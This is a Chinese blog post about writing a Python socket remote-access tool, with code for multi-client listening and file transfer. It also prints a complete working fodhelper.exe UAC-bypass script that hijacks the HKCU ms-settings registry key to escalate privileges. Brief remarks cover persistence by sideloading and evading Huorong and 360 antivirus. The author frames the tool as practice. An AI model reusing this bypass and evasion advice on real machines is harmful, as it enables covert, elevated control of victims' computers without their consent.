0%

关于自写pysocket远控的一些思路

关于自写pysocket远控的一些思路

最近自己写了个远控,分享一下。

只是自己练下手,了解下原理,并不建议在实战中使用。

这个远控我只写了几个功能,一对多控制,命令执行,文件上传和下载,屏幕截图,bypassuac。

一对多的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket

s = []
print("开始监听...")
server = socket.socket() # 定义了一个服务
server.bind(("127.0.0.1", 1234))
server.listen(1)
sock, info = server.accept()
print(sock)
server.close()
s.append(sock)

#获取第二个通道

print("开始监听...")
server = socket.socket() # 定义了一个服务
server.bind(("127.0.0.1", 1234))
server.listen(1)
sock, info = server.accept()
print(sock)
server.close()
s.append(sock)

print(s)

每次和被控机建立了socket连接之后,会返回一个通道,持久化连接,的cnn。通过控制这个通道来进行一对多的实现,也就是代码中的sock。

文件传输

粘包问题的解决

文件传输的时候如果连续发送数据包有时候会遇到粘包的问题,我通过校检文件传输前后md5值是否一致来判断文件是否正确传输。

传输文件前先将文件md5值传输给文件接收端,再文件传输完毕之后,接收端校检md5是否一致。

发送方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
md5_1 = hashlib.md5()  # 示例化一个md5对象
with open(filename,"rb") as f:
for line in f:
md5_1.update(line)
file_info["md5value"]=md5_1.hexdigest() #将该字符串发送给server,用于验证接收的文件是否完全和发送时一样
print(md5_1.hexdigest())

file_info_json=json.dumps(file_info).encode("utf8") #将dict用jason处理后,得到jason格式的字符串,再编码成 bytes字节串
ret=struct.pack("i",len(file_info_json)) #使用struct模块,将int转变为长度为4的bytes.

# 发送 file_info_json的打包长度
sock.send(ret)
# 发送 file_info_json字节串
sock.send(file_info_json)
# 发送 文件数据

接收方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 接收json的打包长度
file_info_length_pack=sock.recv(4)
file_info_length=struct.unpack("i",file_info_length_pack)[0]

# 接收json字符串
file_info_json=sock.recv(file_info_length).decode("utf8")
file_info=json.loads(file_info_json)

# 循环接收文件
md5=hashlib.md5()
with open(filename,"wb") as f:
recv_data_length=0
while recv_data_length<filesize:
data=sock.recv(1024)
recv_data_length+=len(data)
f.write(data)
# MD5摘要
md5.update(data)
msg="文件总大小:{},已成功接收{} 进度:{:.3f}%".format(filesize,recv_data_length,recv_data_length/filesize*100)
print(msg)
print("接收完成!")

延迟导致接收端还未开启就开始发送文件

由于文件传输的时候,需要文件接收方先开启文件接收服务,而在实际远控中,是有一定延迟的,如果接收方还没开始接收服务,发送方就发送了,那么就会产生报错。

以下问题我通过如下来实现

image-20221118124951720

屏幕截图

屏幕截图我是通过winapi截图之后保存到被控端,随后被控端将屏幕截图传过来之后,将被控端本地的文件删除

bypassuac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- coding: utf-8 -*-
from __future__ import print_function
import os
import sys
import ctypes
if sys.version_info[0] == 3:
import winreg as winreg
else:
import _winreg as winreg

CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'

def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False

def create_reg_key(key, value):
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise

def bypass_uac(cmd):
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise

def execute():
if not is_admin():
print('不是管理员权限')
print('[+] Trying to bypass the UAC')
try:
current_dir = __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
print('本来就是管理员权限')

if __name__ == '__main__':
execute()

其代码主要就是首先检测当前会话是否是管理员权限,如果是的话就不执行任何操作,如果不是管理员权限就执行bypassuac的操作。

而bypassuac则是通过在注册表中计算机\HKEY_CURRENT_USER\Software\Classes下的ms-settings中添加了如下两个项

持久化可以用白加黑等手段。

image-20221121124645560

免杀

过火绒,360,bypassuac过不了主防的注册表检测但是不开主防可以过,可以执行一些基本操作,但是要是直接net加用户等操作的话肯定是会告警的,需要配合其他工具。

image-20221118130630088

缺点

太大了太大了太大了太大了太大了太大了,py就不适合写这种东西,不会敏感操作的动态免杀。

image-20221118130359657